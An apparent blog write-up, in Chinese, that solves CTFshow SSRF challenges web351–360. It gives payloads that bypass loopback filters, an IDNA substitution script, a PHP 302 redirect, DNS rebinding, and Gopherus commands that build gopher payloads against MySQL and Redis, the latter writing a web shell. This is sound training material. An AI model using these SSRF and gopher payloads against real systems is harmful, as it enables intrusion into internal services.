CTFSHOW SSRF篇

本文通过一系列实例展示如何绕过不同类型的限制来访问特定的flag.php页面,包括使用特殊IP地址、DNS记录修改、URL重定向等手段。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

出了前八道题,因为题目上的比较匆忙,提前做下就当测试题目了。

web351

存在一个flag.php页面,访问会返回不是本地用户的消息,那肯定是要让我们以本地用户去访问127.0.0.1/flag.php
payload:url=http://127.0.0.1/flag.php

web352

过滤了localhost和127.0.0。还是有很多方法的,比如127.0.1 、127.1、 127。0.0.1 或者转成16进制 2进制
转进制的地址https://tool.520101.com/wangluo/jinzhizhuanhuan/

web353

进制转换或者127.1都可以

web354

预期解是利用下面的脚本去替换localhost中的字符

for i in range(128,65537):    
    tmp=chr(i)    
    try:        
        res = tmp.encode('idna').decode('utf-8')        
        if("-") in res:            
            continue        
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))    
    except:        
        pass

在这里插入图片描述
比如用a左边的字符去替换a最终就是locⒶhlhost在这里插入图片描述
但是不知道为什么服务器不支持,用了一种比较偏的方法,修改自己域名的a记录,改成127.0.0.1
payload:http://域名/flag.php

web355

要求长度小于5那直接http://127.1/flag.php就可以了。
payload http://127.1/flag.php

web356

要求长度小于3
payload:http://0/flag.php
0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

web357

利用302跳转和dns重绑定都可以。
1、在自己服务器上写个a.php文件内容如下

<?php
header("Location:http://127.0.0.1/flag.php"); 

然后payload写自己的这个地址就可以了。
payload:http://xxx/a.php
2、在这个网站注册一个账号http://ceye.io/,然后会给你分配一个域名,修改成如下的内容,第一个随便天填,第二个写
在这里插入图片描述

然后payload:http://r.xxxxxx/flag.php xxx为分给你的域名
在这里插入图片描述

多少几次就可以了
具体原理可以看下大佬写的文章https://zhuanlan.zhihu.com/p/89426041

web358

正则表达式的意思是以http://ctf.开头,以show结尾。
payload:http://ctf.@127.0.0.1/flag.php?show
在这里插入图片描述

web359

工具下载地址https://github.com/tarunkant/Gopherus

python gopherus.py --exploit mysql
在这里插入图片描述
然后传到check.php中post: returl=xxxxx,但是不要忘了把下划线后面的内容url编码一次。

web360

python gopherus.py --exploit redis
在这里插入图片描述
操作方法和上面一样不要忘记编码。工具默认是生成shell.php

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值